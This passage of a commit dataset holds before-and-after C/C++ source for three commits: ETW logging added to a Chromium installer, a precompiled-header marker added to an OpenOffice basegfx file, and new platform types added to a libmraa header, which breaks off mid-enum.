{"text":"<commit_before>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <windows.h>\n\n#include \"chrome\/installer\/util\/logging_installer.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/logging.h\"\n#include \"base\/path_service.h\"\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/installer\/util\/master_preferences.h\"\n#include \"chrome\/installer\/util\/master_preferences_constants.h\"\n#include \"chrome\/installer\/util\/util_constants.h\"\n\nnamespace installer {\n\n\/\/ This should be true for the period between the end of\n\/\/ InitInstallerLogging() and the beginning of EndInstallerLogging().\nbool installer_logging_ = false;\n\nvoid InitInstallerLogging(const installer_util::MasterPreferences& prefs) {\n  if (installer_logging_)\n    return;\n\n  bool value = false;\n  if (prefs.GetBool(installer_util::master_preferences::kDisableLogging,\n                    &value) && value) {\n    installer_logging_ = true;\n    return;\n  }\n\n  logging::InitLogging(GetLogFilePath(prefs).value().c_str(),\n                       logging::LOG_ONLY_TO_FILE,\n                       logging::LOCK_LOG_FILE,\n                       logging::DELETE_OLD_LOG_FILE);\n\n  if (prefs.GetBool(installer_util::master_preferences::kVerboseLogging,\n                    &value) && value) {\n    logging::SetMinLogLevel(logging::LOG_VERBOSE);\n  } else {\n    logging::SetMinLogLevel(logging::LOG_ERROR);\n  }\n\n  installer_logging_ = true;\n}\n\nvoid EndInstallerLogging() {\n  logging::CloseLogFile();\n\n  installer_logging_ = false;\n}\n\nFilePath GetLogFilePath(const installer_util::MasterPreferences& prefs) {\n  std::string path;\n  prefs.GetString(installer_util::master_preferences::kLogFile, &path);\n  if (!path.empty()) {\n    return FilePath(UTF8ToWide(path));\n  }\n\n  std::wstring log_filename = prefs.install_chrome_frame() ?\n      L\"chrome_frame_installer.log\" : L\"chrome_installer.log\";\n\n  FilePath log_path;\n  if (PathService::Get(base::DIR_TEMP, &log_path)) {\n    log_path = log_path.Append(log_filename);\n    return log_path;\n  } else {\n    return FilePath(log_filename);\n  }\n}\n\n}  \/\/ namespace installer\n<commit_msg>Land http:\/\/codereview.chromium.org\/5049001\/ again (sigh)<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <windows.h>\n\n#include \"chrome\/installer\/util\/logging_installer.h\"\n\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/logging.h\"\n#include \"base\/logging_win.h\"\n#include \"base\/path_service.h\"\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/installer\/util\/master_preferences.h\"\n#include \"chrome\/installer\/util\/master_preferences_constants.h\"\n#include \"chrome\/installer\/util\/util_constants.h\"\n\n\/\/ {93BCE0BF-3FAF-43b1-9E28-BEB6FAB5ECE7}\nstatic const GUID kSetupTraceProvider = { 0x93bce0bf, 0x3faf, 0x43b1,\n    { 0x9e, 0x28, 0xbe, 0xb6, 0xfa, 0xb5, 0xec, 0xe7 } };\n\nnamespace installer {\n\n\/\/ This should be true for the period between the end of\n\/\/ InitInstallerLogging() and the beginning of EndInstallerLogging().\nbool installer_logging_ = false;\n\nvoid InitInstallerLogging(const installer_util::MasterPreferences& prefs) {\n  if (installer_logging_)\n    return;\n\n  bool value = false;\n  if (prefs.GetBool(installer_util::master_preferences::kDisableLogging,\n                    &value) && value) {\n    installer_logging_ = true;\n    return;\n  }\n\n  logging::InitLogging(GetLogFilePath(prefs).value().c_str(),\n                       logging::LOG_ONLY_TO_FILE,\n                       logging::LOCK_LOG_FILE,\n                       logging::DELETE_OLD_LOG_FILE);\n\n  if (prefs.GetBool(installer_util::master_preferences::kVerboseLogging,\n                    &value) && value) {\n    logging::SetMinLogLevel(logging::LOG_VERBOSE);\n  } else {\n    logging::SetMinLogLevel(logging::LOG_ERROR);\n  }\n\n  \/\/ Enable ETW logging.\n  logging::LogEventProvider::Initialize(kSetupTraceProvider);\n\n  installer_logging_ = true;\n}\n\nvoid EndInstallerLogging() {\n  logging::CloseLogFile();\n\n  installer_logging_ = false;\n}\n\nFilePath GetLogFilePath(const installer_util::MasterPreferences& prefs) {\n  std::string path;\n  prefs.GetString(installer_util::master_preferences::kLogFile, &path);\n  if (!path.empty()) {\n    return FilePath(UTF8ToWide(path));\n  }\n\n  std::wstring log_filename = prefs.install_chrome_frame() ?\n      L\"chrome_frame_installer.log\" : L\"chrome_installer.log\";\n\n  FilePath log_path;\n  if (PathService::Get(base::DIR_TEMP, &log_path)) {\n    log_path = log_path.Append(log_filename);\n    return log_path;\n  } else {\n    return FilePath(log_filename);\n  }\n}\n\n}  \/\/ namespace installer\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: b3drange.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: kz $ $Date: 2005-11-02 14:00:22 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _BGFX_RANGE_B3DRANGE_HXX\n#include <basegfx\/range\/b3drange.hxx>\n#endif\n\n#ifndef _BGFX_RANGE_B3IRANGE_HXX\n#include <basegfx\/range\/b3irange.hxx>\n#endif\n\n#ifndef _BGFX_NUMERIC_FTOOLS_HXX\n#include <basegfx\/numeric\/ftools.hxx>\n#endif\n\nnamespace basegfx\n{\n    B3DRange::B3DRange(const B3IRange& rRange) :\n        maRangeX(),\n        maRangeY(),\n        maRangeZ()\n    {\n        if( !rRange.isEmpty() )\n        {\n            maRangeX = rRange.getMinX();\n            maRangeY = rRange.getMinY();\n            maRangeZ = rRange.getMinZ();\n\n            maRangeX.expand( rRange.getMaxX() );\n            maRangeY.expand( rRange.getMaxY() );\n            maRangeZ.expand( rRange.getMaxZ() );\n        }\n    }\n\n    B3IRange fround(const B3DRange& rRange )\n    {\n        return rRange.isEmpty() ?\n            B3IRange() :\n            B3IRange(fround(rRange.getMinX()),\n                     fround(rRange.getMinY()),\n                     fround(rRange.getMinZ()),\n                     fround(rRange.getMaxX()),\n                     fround(rRange.getMaxY()),\n                     fround(rRange.getMaxZ()));\n    }\n\n} \/\/ end of namespace basegfx\n\n\/\/ eof\n<commit_msg>INTEGRATION: CWS pchfix02 (1.7.30); FILE MERGED 2006\/09\/01 17:16:39 kaib 1.7.30.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: b3drange.cxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-17 08:05:24 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_basegfx.hxx\"\n\n#ifndef _BGFX_RANGE_B3DRANGE_HXX\n#include <basegfx\/range\/b3drange.hxx>\n#endif\n\n#ifndef _BGFX_RANGE_B3IRANGE_HXX\n#include <basegfx\/range\/b3irange.hxx>\n#endif\n\n#ifndef _BGFX_NUMERIC_FTOOLS_HXX\n#include <basegfx\/numeric\/ftools.hxx>\n#endif\n\nnamespace basegfx\n{\n    B3DRange::B3DRange(const B3IRange& rRange) :\n        maRangeX(),\n        maRangeY(),\n        maRangeZ()\n    {\n        if( !rRange.isEmpty() )\n        {\n            maRangeX = rRange.getMinX();\n            maRangeY = rRange.getMinY();\n            maRangeZ = rRange.getMinZ();\n\n            maRangeX.expand( rRange.getMaxX() );\n            maRangeY.expand( rRange.getMaxY() );\n            maRangeZ.expand( rRange.getMaxZ() );\n        }\n    }\n\n    B3IRange fround(const B3DRange& rRange )\n    {\n        return rRange.isEmpty() ?\n            B3IRange() :\n            B3IRange(fround(rRange.getMinX()),\n                     fround(rRange.getMinY()),\n                     fround(rRange.getMinZ()),\n                     fround(rRange.getMaxX()),\n                     fround(rRange.getMaxY()),\n                     fround(rRange.getMaxZ()));\n    }\n\n} \/\/ end of namespace basegfx\n\n\/\/ eof\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Author: Brendan Le Foll <brendan.le.foll@intel.com>\n * Copyright © 2014 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#pragma once\n\n\/** @file\n *\n * This file defines the basic shared types for libmraa\n * this file is different to common.h in that swig takes this as an input\n *\/\n\nnamespace mraa\n{\n\n\/\/These enums must match the enums in types.h\n\n\/**\n * MRAA supported platform types\n *\/\ntypedef enum {\n    INTEL_GALILEO_GEN1 = 0,    \/**< The Generation 1 Galileo platform (RevD) *\/\n    INTEL_GALILEO_GEN2 = 1,    \/**< The Generation 2 Galileo platform (RevG\/H) *\/\n    INTEL_EDISON_FAB_C = 2,    \/**< The Intel Edison (FAB C) *\/\n    INTEL_DE3815 = 3,          \/**< The Intel DE3815 Baytrail NUC *\/\n    INTEL_MINNOWBOARD_MAX = 4, \/**< The Intel Minnow Board Max *\/\n    RASPBERRY_PI = 5,          \/**< The different Raspberry PI Models -like  A,B,A+,B+ *\/\n    BEAGLEBONE = 6,            \/**< The different BeagleBone Black Modes B\/C *\/\n    BANANA = 7,                \/**< Allwinner A20 based Banana Pi and Banana Pro *\/\n\n    UNKNOWN_PLATFORM =\n    99 \/**< An unknown platform type, typically will load INTEL_GALILEO_GEN1 *\/\n} Platform;\n\n\/**\n * Intel edison miniboard numbering enum\n *\/\ntypedef enum {\n    INTEL_EDISON_MINIBOARD_J17_1 = 0,\n    INTEL_EDISON_MINIBOARD_J17_5 = 4,\n    INTEL_EDISON_MINIBOARD_J17_7 = 6,\n    INTEL_EDISON_MINIBOARD_J17_8 = 7,\n    INTEL_EDISON_MINIBOARD_J17_9 = 8,\n    INTEL_EDISON_MINIBOARD_J17_10 = 9,\n    INTEL_EDISON_MINIBOARD_J17_11 = 10,\n    INTEL_EDISON_MINIBOARD_J17_12 = 11,\n    INTEL_EDISON_MINIBOARD_J17_14 = 13,\n    INTEL_EDISON_MINIBOARD_J18_1 = 14,\n    INTEL_EDISON_MINIBOARD_J18_2 = 15,\n    INTEL_EDISON_MINIBOARD_J18_6 = 19,\n    INTEL_EDISON_MINIBOARD_J18_7 = 20,\n    INTEL_EDISON_MINIBOARD_J18_8 = 21,\n    INTEL_EDISON_MINIBOARD_J18_10 = 23,\n    INTEL_EDISON_MINIBOARD_J18_11 = 24,\n    INTEL_EDISON_MINIBOARD_J18_12 = 25,\n    INTEL_EDISON_MINIBOARD_J18_13 = 26,\n    INTEL_EDISON_MINIBOARD_J19_4 = 31,\n    INTEL_EDISON_MINIBOARD_J19_5 = 32,\n    INTEL_EDISON_MINIBOARD_J19_6 = 33,\n    INTEL_EDISON_MINIBOARD_J19_8 = 35,\n    INTEL_EDISON_MINIBOARD_J19_9 = 36,\n    INTEL_EDISON_MINIBOARD_J19_10 = 37,\n    INTEL_EDISON_MINIBOARD_J19_11 = 38,\n    INTEL_EDISON_MINIBOARD_J19_12 = 39,\n    INTEL_EDISON_MINIBOARD_J19_13 = 40,\n    INTEL_EDISON_MINIBOARD_J19_14 = 41,\n    INTEL_EDISON_MINIBOARD_J20_3 = 44,\n    INTEL_EDISON_MINIBOARD_J20_4 = 45,\n    INTEL_EDISON_MINIBOARD_J20_5 = 46,\n    INTEL_EDISON_MINIBOARD_J20_6 = 47,\n    INTEL_EDISON_MINIBOARD_J20_7 = 48,\n    INTEL_EDISON_MINIBOARD_J20_8 = 49,\n    INTEL_EDISON_MINIBOARD_J20_9 = 50,\n    INTEL_EDISON_MINIBOARD_J20_10 = 51,\n    INTEL_EDISON_MINIBOARD_J20_11 = 52,\n    INTEL_EDISON_MINIBOARD_J20_12 = 53,\n    INTEL_EDISON_MINIBOARD_J20_13 = 54,\n    INTEL_EDISON_MINIBOARD_J20_14 = 55\n} IntelEdisonMiniboard;\n\n\/**\n * Intel Edison raw GPIO numbering enum\n *\/\ntypedef enum {\n    INTEL_EDISON_GP182 = 0,\n    INTEL_EDISON_GP135 = 4,\n    INTEL_EDISON_GP27 = 6,\n    INTEL_EDISON_GP20 = 7,\n    INTEL_EDISON_GP28 = 8,\n    INTEL_EDISON_GP111 = 0,\n    INTEL_EDISON_GP109 = 10,\n    INTEL_EDISON_GP115 = 11,\n    INTEL_EDISON_GP128 = 13,\n    INTEL_EDISON_GP13 = 14,\n    INTEL_EDISON_GP165 = 15,\n    INTEL_EDISON_GP19 = 19,\n    INTEL_EDISON_GP12 = 20,\n    INTEL_EDISON_GP183 = 21,\n    INTEL_EDISON_GP110 = 23,\n    INTEL_EDISON_GP114 = 24,\n    INTEL_EDISON_GP129 = 25,\n    INTEL_EDISON_GP130 = 26,\n    INTEL_EDISON_GP44 = 31,\n    INTEL_EDISON_GP46 = 32,\n    INTEL_EDISON_GP48 = 33,\n    INTEL_EDISON_GP131 = 35,\n    INTEL_EDISON_GP14 = 36,\n    INTEL_EDISON_GP40 = 37,\n    INTEL_EDISON_GP43 = 38,\n    INTEL_EDISON_GP77 = 39,\n    INTEL_EDISON_GP82 = 40,\n    INTEL_EDISON_GP83 = 41,\n    INTEL_EDISON_GP134 = 44,\n    INTEL_EDISON_GP45 = 45,\n    INTEL_EDISON_GP47 = 46,\n    INTEL_EDISON_GP49 = 47,\n    INTEL_EDISON_GP15 = 48,\n    INTEL_EDISON_GP84 = 49,\n    INTEL_EDISON_GP42 = 50,\n    INTEL_EDISON_GP41 = 51,\n    INTEL_EDISON_GP78 = 52,\n    INTEL_EDISON_GP79 = 53,\n    INTEL_EDISON_GP80 = 54,\n    INTEL_EDISON_GP81 = 55\n} IntelEdison;\n\n\/**\n* Raspberry PI Wiring compatible numbering enum\n*\/\ntypedef enum {\n    RASPBERRY_WIRING_PIN8 = 3,\n    RASPBERRY_WIRING_PIN9 = 5,\n    RASPBERRY_WIRING_PIN7 = 7,\n    RASPBERRY_WIRING_PIN15 = 8,\n    RASPBERRY_WIRING_PIN16 = 10,\n    RASPBERRY_WIRING_PIN0 = 11,\n    RASPBERRY_WIRING_PIN1 = 12,\n    RASPBERRY_WIRING_PIN2 = 13,\n    RASPBERRY_WIRING_PIN3 = 15,\n    RASPBERRY_WIRING_PIN4 = 16,\n    RASPBERRY_WIRING_PIN5 = 18,\n    RASPBERRY_WIRING_PIN12 = 19,\n    RASPBERRY_WIRING_PIN13 = 21,\n    RASPBERRY_WIRING_PIN6 = 22,\n    RASPBERRY_WIRING_PIN14 = 23,\n    RASPBERRY_WIRING_PIN10 = 24,\n    RASPBERRY_WIRING_PIN11 = 26,\n    RASPBERRY_WIRING_PIN17 = 29, \/\/ RPi B V2\n    RASPBERRY_WIRING_PIN21 = 29,\n    RASPBERRY_WIRING_PIN18 = 30, \/\/ RPi B V2\n    RASPBERRY_WIRING_PIN19 = 31, \/\/ RPI B V2\n    RASPBERRY_WIRING_PIN22 = 31,\n    RASPBERRY_WIRING_PIN20 = 32, \/\/ RPi B V2\n    RASPBERRY_WIRING_PIN26 = 32,\n    RASPBERRY_WIRING_PIN23 = 33,\n    RASPBERRY_WIRING_PIN24 = 35,\n    RASPBERRY_WIRING_PIN27 = 36,\n    RASPBERRY_WIRING_PIN25 = 37,\n    RASPBERRY_WIRING_PIN28 = 38,\n    RASPBERRY_WIRING_PIN29 = 40\n} RaspberryWiring;\n\n\/**\n * MRAA return codes\n *\/\ntypedef enum {\n    SUCCESS = 0,                             \/**< Expected response *\/\n    ERROR_FEATURE_NOT_IMPLEMENTED = 1,       \/**< Feature TODO *\/\n    ERROR_FEATURE_NOT_SUPPORTED = 2,         \/**< Feature not supported by HW *\/\n    ERROR_INVALID_VERBOSITY_LEVEL = 3,       \/**< Verbosity level wrong *\/\n    ERROR_INVALID_PARAMETER = 4,             \/**< Parameter invalid *\/\n    ERROR_INVALID_HANDLE = 5,                \/**< Handle invalid *\/\n    ERROR_NO_RESOURCES = 6,                  \/**< No resource of that type avail *\/\n    ERROR_INVALID_RESOURCE = 7,              \/**< Resource invalid *\/\n    ERROR_INVALID_QUEUE_TYPE = 8,            \/**< Queue type incorrect *\/\n    ERROR_NO_DATA_AVAILABLE = 9,             \/**< No data available *\/\n    ERROR_INVALID_PLATFORM = 10,             \/**< Platform not recognised *\/\n    ERROR_PLATFORM_NOT_INITIALISED = 11,     \/**< Board information not initialised *\/\n    ERROR_PLATFORM_ALREADY_INITIALISED = 0,  \/**< Board is already initialised, same as SUCCESS *\/\n\n    ERROR_UNSPECIFIED = 99 \/**< Unknown Error *\/\n} Result;\n\n\/**\n * Enum representing different possible modes for a pin.\n *\/\ntypedef enum {\n    PIN_VALID = 0,     \/**< Pin Valid *\/\n    PIN_GPIO = 1,      \/**< General Purpose IO *\/\n    PIN_PWM = 2,       \/**< Pulse Width Modulation *\/\n    PIN_FAST_GPIO = 3, \/**< Faster GPIO *\/\n    PIN_SPI = 4,       \/**< SPI *\/\n    PIN_I2C = 5,       \/**< I2C *\/\n    PIN_AIO = 6,       \/**< Analog in *\/\n    PIN_UART = 7       \/**< UART *\/\n} Pinmodes;\n\n\/**\n * Enum reprensenting different i2c speeds\/modes\n *\/\ntypedef enum {\n    I2C_STD = 0,  \/**< up to 100Khz *\/\n    I2C_FAST = 1, \/**< up to 400Khz *\/\n    I2C_HIGH = 2  \/**< up to 3.4Mhz *\/\n} I2cMode;\n\ntypedef enum {\n    UART_PARITY_NONE = 0,\n    UART_PARITY_EVEN = 1,\n    UART_PARITY_ODD = 2,\n    UART_PARITY_MARK = 3,\n    UART_PARITY_SPACE = 4\n} UartParity;\n\n}\n<commit_msg>types.hpp: Add C++ platform types<commit_after>\/*\n * Author: Brendan Le Foll <brendan.le.foll@intel.com>\n * Copyright © 2014 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#pragma once\n\n\/** @file\n *\n * This file defines the basic shared types for libmraa\n * this file is different to common.h in that swig takes this as an input\n *\/\n\nnamespace mraa\n{\n\n\/\/These enums must match the enums in types.h\n\n\/**\n * MRAA supported platform types\n *\/\ntypedef enum {\n    INTEL_GALILEO_GEN1 = 0,    \/**< The Generation 1 Galileo platform (RevD) *\/\n    INTEL_GALILEO_GEN2 = 1,    \/**< The Generation 2 Galileo platform (RevG\/H) *\/\n    INTEL_EDISON_FAB_C = 2,    \/**< The Intel Edison (FAB C) *\/\n    INTEL_DE3815 = 3,          \/**< The Intel DE3815 Baytrail NUC *\/\n    INTEL_MINNOWBOARD_MAX = 4, \/**< The Intel Minnow Board Max *\/\n    RASPBERRY_PI = 5,          \/**< The different Raspberry PI Models -like  A,B,A+,B+ *\/\n    BEAGLEBONE = 6,            \/**< The different BeagleBone Black Modes B\/C *\/\n    BANANA = 7,                \/**< Allwinner A20 based Banana Pi and Banana Pro *\/\n    INTEL_NUC5 = 8,            \/**< The Intel 5th generations Broadwell NUCs *\/\n    96BOARDS = 9,              \/**< Linaro 96boards *\/\n    INTEL_SOFIA_3GR = 10,      \/**< The Intel SoFIA 3GR *\/\n    INTEL_CHERRYHILLS = 11,    \/**< The Intel Braswell Cherryhills *\/\n\n    FTDI_FT4222 = 256,         \/**< FTDI FT4222 USB to i2c bridge *\/\n\n    FIRMATA = 1024,            \/**< Firmata uart platform\/bridge *\/\n\n    NULL_PLATFORM = 98,\n    UNKNOWN_PLATFORM =\n    99 \/**< An unknown platform type, typically will load INTEL_GALILEO_GEN1 *\/\n} Platform;\n\n\/**\n * Intel edison miniboard numbering enum\n *\/\ntypedef enum {\n    INTEL_EDISON_MINIBOARD_J17_1 = 0,\n    INTEL_EDISON_MINIBOARD_J17_5 = 4,\n    INTEL_EDISON_MINIBOARD_J17_7 = 6,\n    INTEL_EDISON_MINIBOARD_J17_8 = 7,\n    INTEL_EDISON_MINIBOARD_J17_9 = 8,\n    INTEL_EDISON_MINIBOARD_J17_10 = 9,\n    INTEL_EDISON_MINIBOARD_J17_11 = 10,\n    INTEL_EDISON_MINIBOARD_J17_12 = 11,\n    INTEL_EDISON_MINIBOARD_J17_14 = 13,\n    INTEL_EDISON_MINIBOARD_J18_1 = 14,\n    INTEL_EDISON_MINIBOARD_J18_2 = 15,\n    INTEL_EDISON_MINIBOARD_J18_6 = 19,\n    INTEL_EDISON_MINIBOARD_J18_7 = 20,\n    INTEL_EDISON_MINIBOARD_J18_8 = 21,\n    INTEL_EDISON_MINIBOARD_J18_10 = 23,\n    INTEL_EDISON_MINIBOARD_J18_11 = 24,\n    INTEL_EDISON_MINIBOARD_J18_12 = 25,\n    INTEL_EDISON_MINIBOARD_J18_13 = 26,\n    INTEL_EDISON_MINIBOARD_J19_4 = 31,\n    INTEL_EDISON_MINIBOARD_J19_5 = 32,\n    INTEL_EDISON_MINIBOARD_J19_6 = 33,\n    INTEL_EDISON_MINIBOARD_J19_8 = 35,\n    INTEL_EDISON_MINIBOARD_J19_9 = 36,\n    INTEL_EDISON_MINIBOARD_J19_10 = 37,\n    INTEL_EDISON_MINIBOARD_J19_11 = 38,\n    INTEL_EDISON_MINIBOARD_J19_12 = 39,\n    INTEL_EDISON_MINIBOARD_J19_13 = 40,\n    INTEL_EDISON_MINIBOARD_J19_14 = 41,\n    INTEL_EDISON_MINIBOARD_J20_3 = 44,\n    INTEL_EDISON_MINIBOARD_J20_4 = 45,\n    INTEL_EDISON_MINIBOARD_J20_5 = 46,\n    INTEL_EDISON_MINIBOARD_J20_6 = 47,\n    INTEL_EDISON_MINIBOARD_J20_7 = 48,\n    INTEL_EDISON_MINIBOARD_J20_8 = 49,\n    INTEL_EDISON_MINIBOARD_J20_9 = 50,\n    INTEL_EDISON_MINIBOARD_J20_10 = 51,\n    INTEL_EDISON_MINIBOARD_J20_11 = 52,\n    INTEL_EDISON_MINIBOARD_J20_12 = 53,\n    INTEL_EDISON_MINIBOARD_J20_13 = 54,\n    INTEL_EDISON_MINIBOARD_J20_14 = 55\n} IntelEdisonMiniboard;\n\n\/**\n * Intel Edison raw GPIO numbering enum\n *\/\ntypedef enum {\n    INTEL_EDISON_GP182 = 0,\n    INTEL_EDISON_GP135 = 4,\n    INTEL_EDISON_GP27 = 6,\n    INTEL_EDISON_GP20 = 7,\n    INTEL_EDISON_GP28 = 8,\n    INTEL_EDISON_GP111 = 0,\n    INTEL_EDISON_GP109 = 10,\n    INTEL_EDISON_GP115 = 11,\n    INTEL_EDISON_GP128 = 13,\n    INTEL_EDISON_GP13 = 14,\n    INTEL_EDISON_GP165 = 15,\n    INTEL_EDISON_GP19 = 19,\n    INTEL_EDISON_GP12 = 20,\n    INTEL_EDISON_GP183 = 21,\n    INTEL_EDISON_GP110 = 23,\n    INTEL_EDISON_GP114 = 24,\n    INTEL_EDISON_GP129 = 25,\n    INTEL_EDISON_GP130 = 26,\n    INTEL_EDISON_GP44 = 31,\n    INTEL_EDISON_GP46 = 32,\n    INTEL_EDISON_GP48 = 33,\n    INTEL_EDISON_GP131 = 35,\n    INTEL_EDISON_GP14 = 36,\n    INTEL_EDISON_GP40 = 37,\n    INTEL_EDISON_GP43 = 38,\n    INTEL_EDISON_GP77 = 39,\n    INTEL_EDISON_GP82 = 40,\n    INTEL_EDISON_GP83 = 41,\n    INTEL_EDISON_GP134 = 44,\n    INTEL_EDISON_GP45 = 45,\n    INTEL_EDISON_GP47 = 46,\n    INTEL_EDISON_GP49 = 47,\n    INTEL_EDISON_GP15 = 48,\n    INTEL_EDISON_GP84 = 49,\n    INTEL_EDISON_GP42 = 50,\n    INTEL_EDISON_GP41 = 51,\n    INTEL_EDISON_GP78 = 52,\n    INTEL_EDISON_GP79 = 53,\n    INTEL_EDISON_GP80 = 54,\n    INTEL_EDISON_GP81 = 55\n} IntelEdison;\n\n\/**\n* Raspberry PI Wiring compatible numbering enum\n*\/\ntypedef enum {\n    RASPBERRY_WIRING_PIN8 = 3,\n    RASPBERRY_WIRING_PIN9 = 5,\n    RASPBERRY_WIRING_PIN7 = 7,\n    RASPBERRY_WIRING_PIN15 = 8,\n    RASPBERRY_WIRING_PIN16 = 10,\n    RASPBERRY_WIRING_PIN0 = 11,\n    RASPBERRY_WIRING_PIN1 = 12,\n    RASPBERRY_WIRING_PIN2 = 13,\n    RASPBERRY_WIRING_PIN3 = 15,\n    RASPBERRY_WIRING_PIN4 = 16,\n    RASPBERRY_WIRING_PIN5 = 18,\n    RASPBERRY_WIRING_PIN12 = 19,\n    RASPBERRY_WIRING_PIN13 = 21,\n    RASPBERRY_WIRING_PIN6 = 22,\n    RASPBERRY_WIRING_PIN14 = 23,\n    RASPBERRY_WIRING_PIN10 = 24,\n    RASPBERRY_WIRING_PIN11 = 26,\n    RASPBERRY_WIRING_PIN17 = 29, \/\/ RPi B V2\n    RASPBERRY_WIRING_PIN21 = 29,\n    RASPBERRY_WIRING_PIN18 = 30, \/\/ RPi B V2\n    RASPBERRY_WIRING_PIN19 = 31, \/\/ RPI B V2\n    RASPBERRY_WIRING_PIN22 = 31,\n    RASPBERRY_WIRING_PIN20 = 32, \/\/ RPi B V2\n    RASPBERRY_WIRING_PIN26 = 32,\n    RASPBERRY_WIRING_PIN23 = 33,\n    RASPBERRY_WIRING_PIN24 = 35,\n    RASPBERRY_WIRING_PIN27 = 36,\n    RASPBERRY_WIRING_PIN25 = 37,\n    RASPBERRY_WIRING_PIN28 = 38,\n    RASPBERRY_WIRING_PIN29 = 40\n} RaspberryWiring;\n\n\/**\n * MRAA return codes\n *\/\ntypedef enum {\n    SUCCESS = 0,                             \/**< Expected response *\/\n    ERROR_FEATURE_NOT_IMPLEMENTED = 1,       \/**< Feature TODO *\/\n    ERROR_FEATURE_NOT_SUPPORTED = 2,         \/**< Feature not supported by HW *\/\n    ERROR_INVALID_VERBOSITY_LEVEL = 3,       \/**< Verbosity level wrong *\/\n    ERROR_INVALID_PARAMETER = 4,             \/**< Parameter invalid *\/\n    ERROR_INVALID_HANDLE = 5,                \/**< Handle invalid *\/\n    ERROR_NO_RESOURCES = 6,                  \/**< No resource of that type avail *\/\n    ERROR_INVALID_RESOURCE = 7,              \/**< Resource invalid *\/\n    ERROR_INVALID_QUEUE_TYPE = 8,            